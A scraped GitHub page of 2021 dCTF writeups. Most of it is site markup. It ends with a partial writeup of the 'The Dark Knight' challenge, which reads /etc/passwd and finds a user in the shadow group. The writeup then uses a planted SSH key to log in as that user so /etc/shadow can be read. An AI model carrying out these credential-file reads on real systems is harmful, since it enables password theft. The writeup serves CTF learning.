version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/ivanchubb/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ivanchubb/CTF-Writeups/tree-commit/24a55e8f215622492a39f1cd47aa9f76460a4864/2021/dCTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/ivanchubb/CTF-Writeups/file-list/main/2021/dCTF"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>0. Readme.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dragon.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Encrypted the flag i have.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Julius ancient script.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Sanity Check.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Simple Web.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Strong Password.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
# The Dark Knight By [Siorde](https://github.com/Siorde) ## DescriptionThe Batman is lurking in the shadows, ready to take down the next criminal. Usually we don't mind, but he has some critical intel he won't share about the Joker : his password on the network. Gordon, find who he is and get the intel. We know it's one of the users of this network. Good luck. ## SolutionOnce i logged on the serveur, i tried to cat /etc/shadow and /etc/passwd. The acces was denied for the /etc/shadow but i got the /etc/passwd```gordon@5653f407bf8b:~$ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologinmessagebus:x:103:104::/nonexistent:/usr/sbin/nologinsshd:x:104:65534::/run/sshd:/usr/sbin/nologingordon:x:1000:1000:,,,:/home/gordon:/bin/bashjoker:x:1001:1001:,,,:/home/joker:/bin/bashbradley_warner:x:1002:42:,,,:/home/bradley_warner:/bin/bashblack_williams:x:1003:1003:,,,:/home/black_williams:/bin/bashbrett_willis:x:1004:1004:,,,:/home/brett_willis:/bin/bashbonnie_winter:x:1005:1005:,,,:/home/bonnie_winter:/bin/bash```I noticed that bradley_warner was is in the group 42 instead of 1002. So i looked at what group it was : ```gordon@5653f407bf8b:~$ groups bradley_warnerbradley_warner : shadow```It match what was written in the description of the challenge and with a "ls -al /etc", we can see that this group can cat /etc/shadow.I cat the only file in the home of bradley_warner : ```gordon@5653f407bf8b:~$ cat /home/bradley_warner/.ssh/authorized_keysssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDledZGWxygUWUe1jv1R7J18KKvMVVXKEG0wmZi53FFdWRanbgLSIEOL8LlfgG8gGCgljo/X/ezZIFEeBGl4ioJeWZbHghgwdW3W24bgeGLf+C2fyLviY+yNXTLCx9tBFtrksB7MBaKFD1CGCRjqdWQ3qOvSOXpQr0JVF/1R52oX3xQcABghD0UbOLq+31KsMpWw5fmW0Nd5a60UUQWKyju+ZvsCvnaPrxs+DvABpoMAriNOGG4x/5zZGLNb+dvKrv+6QjHee+lXeHMoCPVWf8q8rhy8zYfSR4ZXsHsKEhfSgZ10QrfSgoWCdM2P1PUBvbXDIvrFzKbymKG7CwFOPQn gordon@5ff44b32ff8a```So apparently gordon can do a ssh for the user bradley_warner : ```ssh bradley_warner@localhost```Now we can see the /etc/shadow : 